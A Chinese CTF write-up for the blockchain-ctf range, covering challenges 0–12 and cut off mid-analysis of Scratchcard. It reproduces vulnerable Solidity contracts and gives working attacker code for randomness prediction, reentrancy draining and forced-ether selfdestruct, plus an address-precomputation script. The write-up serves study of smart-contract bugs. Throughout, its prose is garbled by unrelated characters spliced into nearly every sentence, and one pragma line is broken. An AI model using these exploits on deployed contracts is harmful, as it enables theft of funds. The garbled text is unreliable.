blockchain-ctf靶場(0-12)

1. blockchain-ctf靶場

平臺地址:https://blockchain-ctf.securityinnovation.com/
大佬blog:https://hitcxy.com/2020/securityinnovation/

寫在前面:

慣例感謝pikachu大佬匹耕。
RW不會做秩贰,靶場還不會嗎?blockchain-ctf這個靶場確實(shí)向大佬說的更貼近生產(chǎn)污秆,有很多和做題無關(guān)的代碼皂股,增加了一點(diǎn)點(diǎn)審計工作量墅茉。但做的時候還是簡單的,如果你覺得很難呜呐,那一定是想多了就斤。
要提醒的就是這個靶場坑測試幣啊,5ether根本不夠因?yàn)橛械李}會生生吃掉你4ether蘑辑,做到那里你就知道了……

5.7.1. Hello Challenge

image.png

1.1. 簽到:Donation

1.1.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Donation is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }

    function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{
        msg.sender.transfer(funds);
        funds = 0;
    }

}

1.1.2. solve

  • 考點(diǎn):感覺沒有考點(diǎn)洋机。。洋魂。
  • 直接調(diào)用withdrawDonationsFromTheSuckersWhoFellForIt()就行绷旗,為什么要罵人><
image.png

1.2. private:Lock Box

1.2.1. souce

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Lockbox1 is CtfFramework{

    uint256 private pin;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        pin = now%10000;
    }
    
    function unlock(uint256 _pin) external ctf{
        require(pin == _pin, "Incorrect PIN");
        msg.sender.transfer(address(this).balance);
    }

}

1.2.2. solve

  • 考點(diǎn):
    • 讀取私有變量
    • constructor只在構(gòu)造的時候執(zhí)行一次。
  • 有點(diǎn)奇怪讀0沒有value副砍,讀1才是pin值……不應(yīng)該啊衔肢。web3.eth.getStorageAt("0xf1e80fe02b23ff27e704aa1fef006d7b34910081", 1, function(x, y) {console.warn(y)}); 提交_pin為讀到的值即可

1.3. msg.sender:Piggy Bank

This contract belongs to Charlie with the address 0xbc4bfb890caa811839be474c7bf76fcda1530649
Charlie is the only person capable of withdrawing from this contract
Your wallet is 0xdbc1ce93e1237baf2585ca87909b30a87a2e77b6, so you are not Charlie and you can not withdraw

1.3.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract PiggyBank is CtfFramework{

    using SafeMath for uint256;

    uint256 public piggyBalance;
    string public name;
    address public owner;
    
    constructor(address _ctfLauncher, address _player, string _name) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        name=_name;
        owner=msg.sender;
        piggyBalance=piggyBalance.add(msg.value);
    }
    
    function() external payable ctf{
        piggyBalance=piggyBalance.add(msg.value);
    }

    
    modifier onlyOwner(){
        require(msg.sender == owner, "Unauthorized: Not Owner");
        _;
    }

    function withdraw(uint256 amount) internal{
        piggyBalance = piggyBalance.sub(amount);
        msg.sender.transfer(amount);
    }

    function collectFunds(uint256 amount) public onlyOwner ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdraw(amount);
    }
    
}


contract CharliesPiggyBank is PiggyBank{
    
    uint256 public withdrawlCount;
    
    constructor(address _ctfLauncher, address _player) public payable
        PiggyBank(_ctfLauncher, _player, "Charlie") 
    {
        withdrawlCount = 0;
    }
    
    function collectFunds(uint256 amount) public ctf{
        require(amount<=piggyBalance, "Insufficient Funds in Contract");
        withdrawlCount = withdrawlCount.add(1);
        withdraw(amount);
    }
    
}

1.3.2. solve

  • 看代碼,用CharliesPiggyBank創(chuàng)建了一個PiggyBank豁翎。
  • PiggyBank里的withdraw標(biāo)了internal角骤,只能在內(nèi)部調(diào)用。collectFunds又有onlyOwner心剥,基本安全邦尊。
  • 但CharliesPiggyBank在繼承時為了制造漏洞強(qiáng)行重寫了collectFunds,去掉了msg.sender的限制优烧。
  • 查看piggyBalance蝉揍,輸入0x214e8348c4f0000調(diào)用collectFunds,轉(zhuǎn)賬成功

1.4. 整數(shù)溢出:SI Token Sale

We are releasing 1000 SI Tokens (SIT) at the low low cost of 1 SIT == 1 ETH (minus a small developer fee).

We have yet to figure out what these tokens will be used for, but we are leaning towards something IOT / Machine Learning / Big Data / Cloud.

Secure your SIT today before they're gone!

1.4.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol
import "../StandardToken.sol";

contract SIToken is StandardToken {

    using SafeMath for uint256;

    string public name = "SIToken";
    string public symbol = "SIT";
    uint public decimals = 18;
    uint public INITIAL_SUPPLY = 1000 * (10 ** decimals);

    constructor() public{
        totalSupply_ = INITIAL_SUPPLY;
        balances[this] = INITIAL_SUPPLY;
    }
}

contract SITokenSale is SIToken, CtfFramework {

    uint256 public feeAmount;
    uint256 public etherCollection;
    address public developer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        feeAmount = 10 szabo; 
        developer = msg.sender;
        purchaseTokens(msg.value);
    }

    function purchaseTokens(uint256 _value) internal{
        require(_value > 0, "Cannot Purchase Zero Tokens");
        require(_value < balances[this], "Not Enough Tokens Available");
        balances[msg.sender] += _value - feeAmount;
        balances[this] -= _value;
        balances[developer] += feeAmount; 
        etherCollection += msg.value;
    }

    function () payable external ctf{
        purchaseTokens(msg.value);
    }

    // Allow users to refund their tokens for half price ;-)
    function refundTokens(uint256 _value) external ctf{
        require(_value>0, "Cannot Refund Zero Tokens");
        transfer(this, _value);
        etherCollection -= _value/2;
        msg.sender.transfer(_value/2);
    }

    function withdrawEther() external ctf{
        require(msg.sender == developer, "Unauthorized: Not Developer");
        require(balances[this] == 0, "Only Allowed Once Sale is Complete");
        msg.sender.transfer(etherCollection);
    }

}

1.4.2. solve

  • 題目合約提供了捐款和退款(1/2)功能匙隔,只要balance足夠疑苫,refundTokens是可以完成轉(zhuǎn)賬的熏版。
  • 溢出漏洞 balances[msg.sender] += _value – feeAmount,當(dāng)value足夠泻床簟(比如1wei)時撼短,balances[msg.sender]溢出為大整數(shù)。
  • 查看etherCollection挺勿,傳入2倍值調(diào)用refundTokens曲横。(比如600000000000000002)。
  • 但有個問題,沒有找到balances[]的聲明不瓶,怎么能確定沒有用safemath的uint呢…… (沒有找到就是沒有用)

1.5. 函數(shù)重寫(×)函數(shù)重載(√):Secure Bank

Good Afternoon!
Welcome to your Super Secure Digital Bank Account.
You may have heard elsewhere that with blockchain, banks are a thing of the past, what with fully owning your private keys and all...

But that is nonesense! You still need a bank! Who else will send you 30 new credit card offers in the mail each day??

At Super Secure Bank, we bring you the best of both worlds! We let you control the keys to your funds (stored in our smart contract) while still requiring you to register and receive our spam!

1.5.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract SimpleBank is CtfFramework{

    mapping(address => uint256) public balances;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        balances[msg.sender] = msg.value;
    }

    function deposit(address _user) public payable ctf{
        balances[_user] += msg.value;
    }

    function withdraw(address _user, uint256 _value) public ctf{
        require(_value<=balances[_user], "Insufficient Balance");
        balances[_user] -= _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        deposit(msg.sender);
    }

}

contract MembersBank is SimpleBank{

    mapping(address => string) public members;

    constructor(address _ctfLauncher, address _player) public payable
        SimpleBank(_ctfLauncher, _player)
    {
    }

    function register(address _user, string _username) public ctf{
        members[_user] = _username;
    }

    modifier isMember(address _user){
        bytes memory username = bytes(members[_user]);
        require(username.length != 0, "Member Must First Register");
        _;
    }

    function deposit(address _user) public payable isMember(_user) ctf{
        super.deposit(_user);
    }

    function withdraw(address _user, uint256 _value) public isMember(_user) ctf{
        super.withdraw(_user, _value);
    }

}

contract SecureBank is MembersBank{

    constructor(address _ctfLauncher, address _player) public payable
        MembersBank(_ctfLauncher, _player)
    {
    }

    function deposit(address _user) public payable ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(msg.value < 100 ether, "Exceeding Account Limits");
        require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement");
        super.deposit(_user);
    }

    function withdraw(address _user, uint8 _value) public ctf{
        require(msg.sender == _user, "Unauthorized User");
        require(_value < 100, "Exceeding Account Limits");
        require(_value >= 1, "Does Not Satisfy Minimum Requirement");
        super.withdraw(_user, _value * 1 ether);
    }

    function register(address _user, string _username) public ctf{
        require(bytes(_username).length!=0, "Username Not Enough Characters");
        require(bytes(_username).length<=20, "Username Too Many Characters");
        super.register(_user, _username);
    }
}

1.5.2. solve

  • 題目是通過SecureBank來給用戶創(chuàng)建自己的memberbank禾嫉,轉(zhuǎn)賬方面沒有安全問題,
  • 本題的考點(diǎn)是函數(shù)重寫和重載的概念蚊丐。函數(shù)重載是指函數(shù)命名相同熙参,但需要函數(shù)傳入?yún)?shù)的數(shù)量或類型不同。 看到securebankfunction withdraw(address _user, uint8 _value)里這個突兀的uint8麦备,導(dǎo)致仍然存在function withdraw(address _user, uint256 _value)方法孽椰,畢竟簽名不同=。=凛篙。而后面這個就沒有msg.sender == _user的要求了黍匾。 調(diào)用后者就能執(zhí)行msg.sender.transfer(_value)從_user 偷錢……。
  • 剩下唯一的問題是找到有錢的_user呛梆。ropsten查了下合約的創(chuàng)建者是0x2272071889eDCeACABce7dfec0b1E017c6Cad120锐涯,檢查balance確認(rèn)思路正確。
  • 先注冊填物,再提取纹腌,搞掂。做到現(xiàn)在沒有一道題需要自己部署攻擊合約的融痛,有點(diǎn)無聊-壶笼。-

直接部署源代碼也能看出來有兩個withdraw,存在重載的問題雁刷。出題人假裝重寫了覆劈,但其實(shí)還在。

1.6. 偽隨機(jī): Lottery

彩票沛励,需要猜中seed

Today is your lucky day!
Pick your numbers now and win the grand prize!

The current pot is already up to 0.5 ETH!
Only costs 0.001 ETH to play!

1.6.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";
import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";

contract Lottery is CtfFramework{

    using SafeMath for uint256;

    uint256 public totalPot;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        totalPot = totalPot.add(msg.value);
    }
    
    function() external payable ctf{
        totalPot = totalPot.add(msg.value);
    }

    function play(uint256 _seed) external payable ctf{
        require(msg.value >= 1 finney, "Insufficient Transaction Value");
        totalPot = totalPot.add(msg.value);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender));
        bytes32 target = keccak256(abi.encodePacked(entropy^entropy2));
        bytes32 guess = keccak256(abi.encodePacked(_seed));
        if(guess==target){
            //winner
            uint256 payout = totalPot;
            totalPot = 0;
            msg.sender.transfer(payout);
        }
    }    
}

1.6.2. solve

  • 算出target直接帶入就行责语,畢竟block.number在同一次交易中是相同的。
  • 踩了個坑目派,自己忘了加fallback函數(shù)……
contract Attacker{
    function attack() public payable {
        Lottery  _target = Lottery(0x7fe96f8b3447c17448b2cd59dd6b22d804203847);
        bytes32 entropy = blockhash(block.number);
        bytes32 entropy2 = keccak256(abi.encodePacked(this));
        uint seed = uint(entropy^entropy2);
        _target.play.value(msg.value)(seed);
    }
    
    function () payable{}
    
    function kill() public payable {
       selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }//為了把錢要回來真是煞費(fèi)苦心
}

1.7. 循環(huán):Heads or Tails

Flip a Coin!
Choose heads or tails.

It costs 0.1 ETH to play.
If you win, you get your initial bet back plus 0.05 ETH!
If you pick wrong, we keep your fee.

Sounds like good odds to me! Wanna play?

1.7.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract HeadsOrTails is CtfFramework{

    using SafeMath for uint256;

    uint256 public gameFunds;
    uint256 public cost;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        gameFunds = gameFunds.add(msg.value);
        cost = gameFunds.div(10);
    }
    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win坤候,返還1.5倍,即多得0.05
            gameFunds = gameFunds.sub(msg.value.div(2)); 
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

}

1.7.2. solve

  • 和Ethernaut靶場的coinflip一樣嘛只不過循環(huán)終于派上用場了企蹭。1/0.05=20白筹,調(diào)用attack()的時候記得傳入value 2ether
  • 巨資3eth這要是忘了寫個selfdestruct該多心疼
contract Attacker{
    function attack() public payable{
        HeadsOrTails target = HeadsOrTails(0xa0556a5252439ddd0b10f6354f0798077b2e00c7);
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        for(uint i;i<20;i++){
            target.play.value(0.1 ether)(coinFlip==1);
        }
    }
    
    function () payable{}
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.8. 代碼邏輯:Record Label

均分eth給所有stake holders

You've made it, kid!
You're officially a rockstar! Now that your killer remix has gone viral, you'll be swimming in dough in no time!
Now for some of the fine print
As your manager, it is my responsibility that all the royalty holders get paid their fare share for each of your sales.

I've set up this smart contract to store all your sales revenue. When you want to withdraw, just enter how much ETH you need and the contract will automatically payout an appropriate percentage to all the stake holders.

Isn't the future nuts???

1.8.1. source

pragma solidity 0.4.24;

//import "../CtfFramework.sol";
//import "../../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract Royalties{

    using SafeMath for uint256;

    address private collectionsContract;
    address private artist;

    address[] private receiver;
    mapping(address => uint256) private receiverToPercentOfProfit;
    uint256 private percentRemaining;

    uint256 public amountPaid;

    constructor(address _manager, address _artist) public
    {
        collectionsContract = msg.sender;
        artist=_artist;

        receiver.push(_manager);
        receiverToPercentOfProfit[_manager] = 80;
        percentRemaining = 100 - receiverToPercentOfProfit[_manager];
    }

    modifier isCollectionsContract() { 
        require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract");
        _;
    }

    modifier isArtist(){
        require(msg.sender == artist, "Unauthorized: Not Artist");
        _;
    }

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

    function payoutRoyalties() public payable isCollectionsContract{ //trace1.2
        for (uint256 i = 0; i< receiver.length; i++){
            address current = receiver[i];
            uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100);
            amountPaid = amountPaid.add(payout);//trace2.2
            current.transfer(payout); //trace1.3
        }
        msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()")));//trace1.4
    }

    function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){
        uint256 ret = amountPaid; //trace2.1
        amountPaid = 0;
        return ret; 
    }

    function () public payable isCollectionsContract{ //trace1.1
        payoutRoyalties();//trace1.2
    }
}

contract Manager{
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function withdraw(uint256 _balance) public {
        owner.transfer(_balance);
    }

    function () public payable{
        // empty
    }
}

contract RecordLabel is CtfFramework{

    using SafeMath for uint256;

    uint256 public funds;
    address public royalties;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        royalties = new Royalties(new Manager(_ctfLauncher), _player);
        funds = funds.add(msg.value);
    }
    
    function() external payable ctf{
        funds = funds.add(msg.value);
    }


    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();//trace1.0,分析順序見trace1系列
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();//trace2.0
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

    function collectRemainingFunds() external payable{
        require(msg.sender == royalties, "Unauthorized: Not Royalties Contract");
    }

}

1.8.2. solve

  • 還是先實(shí)例化源代碼看看:0x0448da0179aa06c14b95b7c81dfb3cc3d8f34c2b
  • 要提取出目標(biāo)合約的余額智末,可能有這幾種方向
    • 使funds為大整數(shù),這樣隨便抽都可以提取完徒河。但funds相關(guān)用的safemath系馆,基本不可能。
    • 使royaltiesPaid為0顽照,
    • 構(gòu)造的時候留了啥后門由蘑。注意到部署合約時有royalties = new Royalties(new Manager(_ctfLauncher), _player);
      • Manager的地址是:0xCE9FDBB850E37c0Ae65f47c67f861D914f95d7B7,看到owner是0xdCB37036c66Bc6a5A19ccf0DBc0253e584499954代兵,轉(zhuǎn)賬都是給owner尼酿,沒戲。
      • royalities的地址是:0x4E0E63d0c313588009330DDB5b423D6bb6Ebe479植影,看到amountPaid是0裳擎。這……我們來順一下邏輯。amountPaid只在payoutRoyalties函數(shù)中會增加思币,在withdrawFundsAndPayRoyalties執(zhí)行royalties.call.value(_withdrawAmount)();給royalties轉(zhuǎn)賬時會觸發(fā)句惯,觸發(fā)后給receiver[]轉(zhuǎn)賬,并將msg.value-amountPaid轉(zhuǎn)給msg.sender(見源代碼中的trace1和trace2)支救。到這里本來是正常的。但withdrawFundsAndPayRoyalties里最后還有一句執(zhí)行msg.sender.transfer(amountPaid);到底圖啥拷淘,這不就又加回來了嗎各墨?
  • 直接令_withdrawAmount=1 eth,執(zhí)行withdrawFundsAndPayRoyalties就拿到了所有錢启涯。那么問題來了贬堵,receiver里沒人嗎?對()结洼,因?yàn)槿讨辉跇?gòu)造的時候有一句receiver.push(_manager);_manager就是new manager的地址黎做。
  • 題外:
    • 上了自動審計工具:docker run -v $(pwd):/tmp mythril/myth a /tmp/target.sol --solv 0.4.24 --exec ution-timeout 60,審計結(jié)果是 Unprotected Ether Withdrawal,感覺不好使松忍。蒸殿。。

1.9. 重入:trustfund

only allowing you to withdraw 0.1 ETH a year for the next 10 years.
(我已經(jīng)想起ERC20了鸣峭。宏所。。好吧不是)

1.9.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract TrustFund is CtfFramework{

    using SafeMath for uint256;

    uint256 public allowancePerYear;
    uint256 public startDate;
    uint256 public numberOfWithdrawls;
    bool public withdrewThisYear;
    address public custodian;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        custodian = msg.sender;
        allowancePerYear = msg.value.div(10);        
        startDate = now;
    }

    function checkIfYearHasPassed() internal{
        if (now>=startDate + numberOfWithdrawls * 365 days){
            withdrewThisYear = false;
        } 
    }

    function withdraw() external ctf{
        require(allowancePerYear > 0, "No Allowances Allowed");
        checkIfYearHasPassed();
        require(!withdrewThisYear, "Already Withdrew This Year");
        if (msg.sender.call.value(allowancePerYear)()){
            withdrewThisYear = true;
            numberOfWithdrawls = numberOfWithdrawls.add(1);
        }
    }
    
    function returnFunds() external payable ctf{
        require(msg.value == allowancePerYear, "Incorrect Transaction Value");
        require(withdrewThisYear==true, "Cannot Return Funds Before Withdraw");
        withdrewThisYear = false;
        numberOfWithdrawls=numberOfWithdrawls.sub(1);
    }
}

1.9.2. solve

  • 先call.value了再加次數(shù)摊溶,看起來是重入,1/0.1=10
  • 大佬們的wp紛紛沒有加次數(shù)限制爬骤,因?yàn)閏all.value 如果異常會轉(zhuǎn)賬失敗,僅會返回false莫换,不會終止執(zhí)行霞玄。我還是太善良了V枇濉()
contract Attacker{
    TrustFund target = TrustFund(0xc335f803e10c8d76e34f007076dfc221e6ef392a);
    uint flag;
    
    function attack() public payable{
        target.withdraw();
    }
    
    function () payable{
        if(flag<9){
        target.withdraw();
        flag++;
        }
    }
    
    function kill() public payable {
        selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址 
    }
}

1.10. selfdestruct:slotMachine

老虎機(jī)。坷剧。惰爬。Click today and deposit your 0.000001 ETH

1.10.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";
import "../github/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";

contract SlotMachine is CtfFramework{

    using SafeMath for uint256;

    uint256 public winner;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        winner = 5 ether;
    }
    
    function() external payable ctf{
        require(msg.value == 1 szabo, "Incorrect Transaction Value");
        if (address(this).balance >= winner){
            msg.sender.transfer(address(this).balance);
        }
    }

}

1.10.2. solve

  • 循環(huán)也是可以的。(5-1.5)/0.000001=350w次(并不可以)
  • 先自毀強(qiáng)制送錢再補(bǔ)一刀,帶入5-1.5-0.000001=3.499999自毀
  • pull that lever!!!

1.11. 子合約地址:Rainy Day

The community decided to get together and organize a rainy day fund.
We've selected some very trustworthy people to manage the funds. Don't worry about it.
I assure you, the next time it rains, we'll have the funds for it!

1.11.1. source

pragma solidity 0.4.24;

import "./CtfFramework.sol";

contract DebugAuthorizer{
    
    bool public debugMode;

    constructor() public payable{
        if(address(this).balance == 1.337 ether){
            debugMode=true;
        }
    }
}

contract RainyDayFund is CtfFramework{

    address public developer;
    mapping(address=>bool) public fundManagerEnabled;
    DebugAuthorizer public debugAuthorizer;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        //debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development
        debugAuthorizer = new DebugAuthorizer();
        developer = msg.sender;
        fundManagerEnabled[msg.sender] = true;
    }
    
    modifier isManager() {
        require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager");
         _;
    }

    function () external payable ctf{
        // Anyone can add to the fund    
    }
    
    function addFundManager(address _newManager) external isManager ctf{
        fundManagerEnabled[_newManager] = true;
    }

    function removeFundManager(address _previousManager) external isManager ctf{
        fundManagerEnabled[_previousManager] = false;
    }

    function withdraw() external isManager ctf{
        msg.sender.transfer(address(this).balance);
    }
}

1.11.2. solve

  • 需要isManager才能提取听隐,唯一的可能是debugAuthorizer.debugMode()
    • 一開始想本地重寫debugMode()补鼻,未遂,不應(yīng)該啊我比較遠(yuǎn)啊雅任。
    • 因?yàn)閐ebug只在constructor階段可以用风范,看一下合約間的關(guān)系
      • developer:0xeD0D5160c642492b3B482e006F67679F5b6223A2
      • rainfund:0x9260f766C0B6b568Ca1689fd658790e956D4B420(是上面的nonce337)
      • debugAuthorizer:0x107B773c0eFd9668ba0c915B0405949476B1C933(是上面的nonce1)
      • 思路是計算出338的nonce1地址,提前轉(zhuǎn)賬1.337 ether沪么。但第一次部署的錢已經(jīng)拿不回來了(黑心公司還我血汗錢央勒,這道題凈損失1.337+2.5!)
        • newR = 374c84ad4e641a63c810e661f028d025b6cf6425
        • newD = f7af84f87e14c95324eb1ebf7e65030c28afb521
        • 給newD轉(zhuǎn)賬扮惦,重新部署題目遣耍,這個時候就可以調(diào)用newR的withdraw了。
from ethereum import utils

def getSon(Father,nonce):
    sha3_res = utils.mk_contract_address(Father,nonce)
    sha3_res_de = utils.decode_addr(sha3_res)
    #print('[+]%s,contract_address: %s'%(nonce,sha3_res_de))
    return(sha3_res_de)
    
def FindNonce(Father,Son):
    MaxNonce = 100000
    for nonce in range(MaxNonce):
        res = getSon(Father,nonce)
        if int(res,16)==Son:
            print('[+]the correct nonce is :%s'%(nonce))
            return(int(nonce))
        
developer= 0xeD0D5160c642492b3B482e006F67679F5b6223A2
rainfund = 0x9260f766C0B6b568Ca1689fd658790e956D4B420
debugAuthorizer = 0x107B773c0eFd9668ba0c915B0405949476B1C933
nonce = FindNonce(developer,rainfund)
newR = getSon(developer,nonce+1)
newD =  getSon(newR,1)
print(nonce,newR,newD)

1.12. Raffle

The ticket costs a random amount, somewhere between 0.1 and 0.5 ether.
When the time is right, our administrators will close the contest and finalize the winners.

1.12.1. source

pragma solidity 0.4.24;

import "../CtfFramework.sol";

contract Raffle is CtfFramework{

    uint256 constant fee = 0.1 ether;

    address private admin;

    bytes4 private winningTicket;
    uint256 private blocknum;

    uint256 public ticketsBought;
    bool public raffleStopped;

    mapping(address=>uint256) private rewards;
    mapping(address=>bool) private potentialWinner;
    mapping(address=>bytes4) private ticketNumbers;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
        rewards[address(this)] = msg.value;
        admin = msg.sender;
    }

    function buyTicket() external payable ctf{
        if(msg.value >= fee){
            winningTicket = bytes4(0);
            blocknum = block.number+1;
            ticketsBought += 1;
            raffleStopped = false;
            rewards[msg.sender] += msg.value;
            ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8);
            potentialWinner[msg.sender] = true;
        }
    }

    function closeRaffle() external ctf{
        require(ticketsBought>0);
        require(!raffleStopped);
        require(blocknum != 0);
        require(winningTicket == bytes4(0));
        require(block.number>blocknum);
        require(msg.sender==admin || rewards[msg.sender]>0);
        winningTicket = bytes4(blockhash(blocknum));
        potentialWinner[msg.sender] = false;
        raffleStopped = true;
    }

    function collectReward() external payable ctf{
        require(raffleStopped);
        require(potentialWinner[msg.sender]);
        rewards[address(this)] += msg.value;
        if(winningTicket == ticketNumbers[msg.sender]){
            msg.sender.transfer(rewards[msg.sender]);
            msg.sender.transfer(rewards[address(this)]); 
            rewards[msg.sender] = 0;
            rewards[address(this)] = 0;
        }
    }

    function skimALittleOffTheTop(uint256 _value) external ctf{
        require(msg.sender==admin);
        require(rewards[address(this)]>_value);
        rewards[address(this)] = rewards[address(this)] - _value;
        msg.sender.transfer(_value);
    }

    function () public payable ctf{
        if(msg.value>=fee){
            this.buyTicket();
        }
        else if(msg.value == 0){
            this.closeRaffle();
        }
        else{
            this.collectReward();
        }
    }

}

1.12.2. solve

  • 需要觸發(fā)collectReward殉摔,并滿足
    • 除了msg.sender和合約外沒有其他賬戶投錢(因?yàn)橹环祷剡@兩個地址的rewards)
    • winningTicket == ticketNumbers[msg.sender]
      • bytes4(blockhash(blocknum))= bytes4((msg.value - fee)/10**8);(blocknum為當(dāng)closeRaffle執(zhí)行前最后一次買彩票的blocknumber+1),漏洞為PRNG州胳,EVM 能存儲的區(qū)塊哈希為最近的 256 條,兩次調(diào)用高度超過256的話逸月,值為 0栓撞。
    • raffleStopped==true
      • closeRaffle()
      • msg.value=0
        • ticketsBought>0——買過彩票自然有
        • block.number>blocknum——在buyTicket()后還需要等一等
        • rewards[msg.sender]>0——買過彩票自然有
    • potentialWinner[msg.sender]——調(diào)用closeRaffle()的不能是自己,那就只能是目標(biāo)合約了碗硬。
  • 解法
    • 先msg.value=0.1ether調(diào)用buyTicket 瓤湘,此時的block.number=9432258,256塊以上countdown預(yù)計需要33分鐘(實(shí)際更久)……倒杯卡布奇諾()https://ropsten.etherscan.io/block/countdown/9432518
    • 確認(rèn)256block is mined后恩尾,msg.value=0隨便傳個0x00觸發(fā)fallback(之前先把題目合約加到ctf_challenge_add_authorized_sender),此時可以看到raffleStopped已經(jīng)是true了弛说,不確定的話還可以web3看看winningTicket
    • 調(diào)用collectReward() 收割
    • 踩了個坑就是預(yù)計時間到了后其實(shí)并不一定真的挖到了那么后面,此時調(diào)用collectReward() 交易成功翰意,但是沒有過if木人。所以記得要確認(rèn)下block狀態(tài)。

1.13. Scratchcard

If you think you need more than 1 ETH to solve this, you're probably going down the wrong path.

1.13.1. source

pragma solidity 0.4.2
4;

import "./CtfFramework.sol";

library Address {
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }
}

contract Scratchcard is CtfFramework{

    event CardPurchased(address indexed player, uint256 cost, bool winner);

    mapping(address=>uint256) private winCount;
    uint256 private cost;


    using Address for address;

    constructor(address _ctfLauncher, address _player) public payable
        CtfFramework(_ctfLauncher, _player)
    {
    }

    modifier notContract(){
        require(!msg.sender.isContract(), "Contracts Not Allowed");
        _;
    }
    
    function play() public payable notContract ctf{
        bool won = false;
        if((now%10**8)*10**10 == msg.value){
            won = true;
            winCount[msg.sender] += 1;
            cost = msg.value;
            msg.sender.transfer(cost);
        }
        else{
            cost = 0;
            winCount[msg.sender] = 0;
        }
        emit CardPurchased(msg.sender, msg.value, won);
    }    

    function checkIfMegaJackpotWinner() public view returns(bool){
        return(winCount[msg.sender]>=25);
    }

    function collectMegaJackpot(uint256 _amount) public notContract ctf{
        require(checkIfMegaJackpotWinner(), "User Not Winner");
        require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost");
        winCount[msg.sender] = 0;
        msg.sender.transfer(_amount);
    }

    function () public payable ctf{
        play();
    }

}

1.13.2. 冀偶?solve

  • 思考過程():要play()贏25次虎囚,就可以調(diào)用collectMegaJackpot從獎金池提取amount。
    • require(2 * cost - _amount > 0
